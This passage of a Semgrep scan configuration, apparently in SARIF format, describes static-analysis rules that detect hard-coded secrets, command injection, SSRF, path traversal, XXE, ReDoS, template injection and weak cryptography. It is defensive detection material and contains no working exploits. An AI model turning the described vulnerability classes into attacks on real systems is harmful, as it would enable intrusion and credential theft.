policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url","id":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","name":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"JWT token detected"},"help":{"markdown":"JWT token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"JWT token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token","id":"generic.secrets.security.detected-jwt-token.detected-jwt-token","name":"generic.secrets.security.detected-jwt-token.detected-jwt-token","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-jwt-token.detected-jwt-token"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"help":{"markdown":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","id":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","name":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","id":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","name":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"help":{"markdown":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection)\n - [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)\n","text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection","id":"csharp.dotnet.security.razor-template-injection.razor-template-injection","name":"csharp.dotnet.security.razor-template-injection.razor-template-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.razor-template-injection.razor-template-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","id":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","name":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"help":{"markdown":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting)\n - [https://www.owasp.org/index.php/HTTP_Response_Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting)\n","text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting","id":"java.lang.security.audit.http-response-splitting.http-response-splitting","name":"java.lang.security.audit.http-response-splitting.http-response-splitting","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.http-response-splitting.http-response-splitting"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"help":{"markdown":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"helpUri":"https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos","id":"javascript.express.regexp-redos.regexp-redos","name":"javascript.express.regexp-redos.regexp-redos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.regexp-redos.regexp-redos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `encoding` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `encoding` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2)\n","text":"the `encoding` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2","id":"python.lang.compatibility.python36.python36-compatibility-Popen2","name":"python.lang.compatibility.python36.python36-compatibility-Popen2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Snyk API Key detected"},"help":{"markdown":"Snyk API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Snyk API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","id":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","name":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","id":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","name":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Database instance has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"Database instance has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Database instance has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","id":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","name":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","id":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","name":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve","id":"python.lang.file.tainted-shelve.tainted-shelve","name":"python.lang.file.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","id":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","name":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"help":{"markdown":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"`strlen(...)` returns the number of characters in a string, excluding the NUL terminator. If a string is later copied into this allocated buffer, it will trigger memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.alloc-strlen.alloc-strlen","id":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","name":"cpp.lang.security.strings.alloc-strlen.alloc-strlen","properties":{"precision":"very-high","tags":["CWE-131: Incorrect Calculation of Buffer Size","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.alloc-strlen.alloc-strlen"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","id":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","name":"python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django-relationship.sqlalchemy-django-relationship"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via HttpClient to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep 